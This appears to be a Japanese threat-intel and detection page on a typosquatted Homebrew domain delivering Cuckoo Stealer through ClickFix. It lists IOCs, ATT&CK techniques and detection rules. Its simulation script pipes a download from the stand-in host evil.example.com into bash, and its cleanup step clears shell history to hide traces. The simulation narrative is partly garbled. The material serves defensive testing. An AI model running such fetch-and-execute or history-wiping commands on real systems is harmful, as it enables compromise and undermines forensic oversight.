偽のHomebrewタイポスクワット、Cuckoo StealerをClickFix経由で配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、タイポスクワットされたHomebrewドメインを悪用し、macOS開発者を「インストール」コマンドの実行へ誘導するキャンペーンを記述しています。クリックフィックス手法を使用し、クラフトされたcurlワンライナーが被害者を攻撃者が制御するインフラに送信し、資格情報を収集するローダーと続いてCuckoo Stealerインフォスティーラーを配信します。マルウェアはLaunchAgentを通じて永続性を持ち、隔離属性を削除し、HTTPSを介して資格情報やウォレットデータを流出させます。検出はcurlコマンドパターンと関連するインフラストラクチャに焦点を当てるべきです。
調査
研究者たちは初期の誘惑をhomabrews.orgにたどり、オランダの5.255.123.244に解析され、複数の類似ドメイン(配信に使用されるraw.homabrews.orgを含む)をホストしていることを発見しました。ダウンロードされたスクリプトはdscl authonlyループを実行してmacOS資格情報を検証し、次にbrew_agentという名前のバイナリを取得します。第二段階では、Cuckoo StealerがLaunchAgentのplistを生成し、隔離フラグを削除し、X25519鍵交換とXOR暗号化されたペイロードを使ってC2と通信します。インフラストラクチャのハンティングでは、同じホスティングIPを共有する少なくとも6つのドメインのネットワークが明らかにされました。
緩和策
開発者にHomebrewインストールURLを確認し、信頼できないコマンドをターミナルにコピー・ペーストしないよう教育しましょう。コマンドラインログを有効にし、特に「curl | sh」スタイルのワンライナーでリモートスクリプトを即座に実行するパターンを制限します。エンドポイントの保護は疑わしいLaunchAgentの作成や隔離属性の削除を警告するべきです。ネットワーク防御は既知の悪意のあるドメインをブロックし、raw.homabrews.orgや関連するホストへのトラフィックにフラグを立てるべきです。
対応策
疑わしいcurlコマンドが検出された場合、エンドポイントを隔離し、スクリプトとbrew_agentバイナリをキャプチャし、解析のためにLaunchAgent plistを収集します。ブラウザ、キーチェーン、暗号通貨ウォレットのために、収集された資格情報をリセットし、侵害されたトークンを取り消します。隠しBrewUpdaterディレクトリ、作成されたショートカットを法医学的にレビューし、悪意のあるファイルを削除します。抽出したIOCで検出を更新し、同じインフラの再利用を監視します。
“graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[“<b>技術</b> – <b>T1659 コンテンツ インジェクション</b><br/><b>説明</b>: 攻撃者が正規のサイトを模した悪意のあるウェブページをホストし、ユーザーが訪問した際に悪意のあるコンテンツを配信する。”] class node_A technique node_B[“<b>技術</b> – <b>T1204.004 ユーザー実行: 悪意のあるコピペ</b><br/><b>説明</b>: 被害者がウェブページから作成されたコマンドをコピーしてターミナルで実行する。”] class node_B technique node_C[“<b>技術</b> – <b>T1059.004 Unix シェル</b><br/><b>説明</b>: Unixシェルを使用して初期ステージスクリプトをダウンロードして実行する。”] class node_C technique node_D[“<b>技術</b> – <b>T1555.001 資格情報ストアからの資格情報: キーチェーン</b><br/><b>説明</b>: macOSキーチェーンにアクセスし、保存された資格情報を収集する。”] class node_D technique node_E[“<b>技術</b> – <b>T1555.003 資格情報ストアからの資格情報: ウェブブラウザ</b><br/><b>説明</b>: ウェブブラウザから保存されたパスワードやクッキーを抽出する。”] class node_E technique node_F[“<b>技術</b> – <b>T1539 ウェブセッションクッキーの盗難</b><br/><b>説明</b>: ブラウザや拡張機能からアクティブなセッショントークンを集める。”] class node_F technique node_G[“<b>技術</b> – <b>T1614.001 システム言語の発見</b><br/><b>説明</b>: LANG環境変数を照会してシステムロケールを決定し、特定の地域を回避する。”] class node_G technique node_H[“<b>技術</b> – <b>T1543.001 LaunchAgent</b><br/><b>説明</b>: 永続性のためにユーザーレベルのLaunchAgent plistをインストールする。”] class node_H technique node_I[“<b>技術</b> – <b>T1553.001 Gatekeeper バイパス</b><br/><b>説明</b>: Gatekeeperを回避するためxattrで隔離属性を削除する。”] class node_I technique node_J[“<b>技術</b> – <b>T1027 隠されたファイルや情報</b><br/><b>説明</b>: XORで文字列、ペイロード、設定を暗号化して悪意のあるコンテンツを隠す。”] class node_J technique node_K[“<b>技術</b> – <b>T1113 スクリーンキャプチャ</b><br/><b>説明</b>: screencaptureユーティリティを使用して静かにスクリーンショットを撮る。”] class node_K technique node_L[“<b>技術</b> – <b>T1119 自動収集</b><br/><b>説明</b>: 暗号通貨ウォレット、ノート、ドキュメント、メッセージトークンを再帰的に収集する。”] class node_L technique node_M[“<b>技術</b> – <b>T1573 暗号化されたチャンネル</b><br/><b>説明</b>: X25519 ECDH鍵交換を行い、暗号化されたC2チャンネルを作成する。”] class node_M technique node_N[“<b>技術</b> – <b>T1102.002 ウェブサービス: 双方向通信</b><br/><b>説明</b>: HTTPSを介してコマンドアンドコントロールサーバと通信する。”] class node_N technique node_O[“<b>技術</b> – <b>T1041 C2チャンネルを介したデータ流出</b><br/><b>説明</b>: 暗号化されたチャンネルを介して盗まれたデータを送信する。”] class node_O technique node_P[“<b>技術</b> – <b>T1529 システムシャットダウン/再起動</b><br/><b>説明</b>: 攻撃者指示で再起動コマンドを実行する。”] class node_P technique node_Q[“<b>技術</b> – <b>T1653 電源設定</b><br/><b>説明</b>: 変化を適用するか、インシデントレスポンスを妨げるためにシステムを再起動させる。”] class node_Q technique node_R[“<b>技術</b> – <b>T1070.009 永続性除去</b><br/><b>説明</b>: バイナリとLaunchAgent plistを削除して自己破壊する。”] class node_R technique node_S[“<b>技術</b> – <b>T1564.014 アーティファクト非表示: 拡張属性</b><br/><b>説明</b>: 隔離属性を削除してGatekeeperの警告を回避する。”] class node_S technique %% Connections showing flow node_A u002du002d>|leads_to| node_B node_B u002du002d>|leads_to| node_C node_C u002du002d>|leads_to| node_D node_C u002du002d>|leads_to| node_E node_C u002du002d>|leads_to| node_F node_C u002du002d>|leads_to| node_G node_C u002du002d>|leads_to| node_H node_H u002du002d>|enables| node_I node_I u002du002d>|enables| node_J node_J u002du002d>|enables| node_K node_K u002du002d>|enables| node_L node_L u002du002d>|enables| node_M node_M u002du002d>|enables| node_N node_N u002du002d>|enables| node_O node_O u002du002d>|enables| node_P node_P u002du002d>|leads_to| node_Q node_Q u002du002d>|leads_to| node_R node_R u002du002d>|leads_to| node_S “
攻撃フロー
検出
疑わしいキーチェーン活動(プロセス作成経由)
表示
MacOS 疑わしい/tmpフォルダのファイル権限の変更(コマンドライン経由)
表示
疑わしい MacOS – Plist の場所と名前(ファイルイベント経由)
表示
MacOS 保存されたブラウザ資格の疑わしいアクセス(プロセス作成経由)
表示
MacOS システムボリュームが osascript を使用してミュートされた(コマンドライン経由)
表示
MacOS Screencapture 実行試行による可能性のあるコレクション(コマンドライン経由)
表示
MacOS での疑わしいCurl実行試行(コマンドライン経由)
表示
IOC(HashSha256)を検出する: 偽のHomebrewタイポスクワットがClickFix経由でCuckoo Stealerを配信するために使用される
表示
IOC(SourceIP)を検出する: 偽のHomebrewタイポスクワットがClickFix経由でCuckoo Stealerを配信するために使用される
表示
IOC(DestinationIP)を検出する: 偽のHomebrewタイポスクワットがClickFix経由でCuckoo Stealerを配信するために使用される
表示
ClickFix による悪意のあるmacOS インストールコマンドの検出 [Linux プロセス作成]
表示
ClickFixキャンペーンにおけるタイポスクワッティングドメインと悪意のあるIPの検出 [ネットワーク指標]
表示
シミュレーションの実行
前提条件: テレメトリーとベースラインの事前フライトチェックが合格している必要があります。
根拠: このセクションでは、攻撃者の技術手法(TTP)を正確に実行し、検出ルールをトリガーすることを目的としています。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックで予想される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃に関する物語とコマンド:
攻撃者はC2サーバーにホストされている悪意のあるPowerShell-エンコードされたスクリプトを取得しました。ディスクにファイルを記述することを避けるため、攻撃者はスクリプトを直接Bashシェルにストリーミングしますcurl -fsSLと-cフラグ。コマンドは妥協されたユーザーアカウントから対話形式で実行され、正当な「クリック修正」インストーラーを模倣します。手順は以下の通りです:- 悪意のあるペイロードURLを解決します(例、
https://evil.example.com/payload.sh). - Bashにダウンロードをパイプし、
-c. - と共にコンテンツを実行するように指示します T1070.004).
- 悪意のあるペイロードURLを解決します(例、
-
回帰テストスクリプト:
#!/usr/bin/env bash # ------------------------------------------------- # 悪意のあるmacOSインストーラーをシミュレート(ClickFixスタイル) # ------------------------------------------------- set -euo pipefail MALICIOUS_URL="https://evil.example.com/payload.sh" # -cを使用してペイロードを直接Bashにストリーミングします curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)" # ペイロード自体が悪意のある行動を実行することを仮定しています。 # テストの目的では、単にマーカーをエコーします。 echo "悪意のあるペイロードが実行されました" -
クリーンアップコマンド:
# ペイロードによって作成された可能性のあるファイルを削除します rm -f /tmp/payload.sh # オプションで、法医学的な痕跡を減らすためにコマンド履歴をクリアします history -c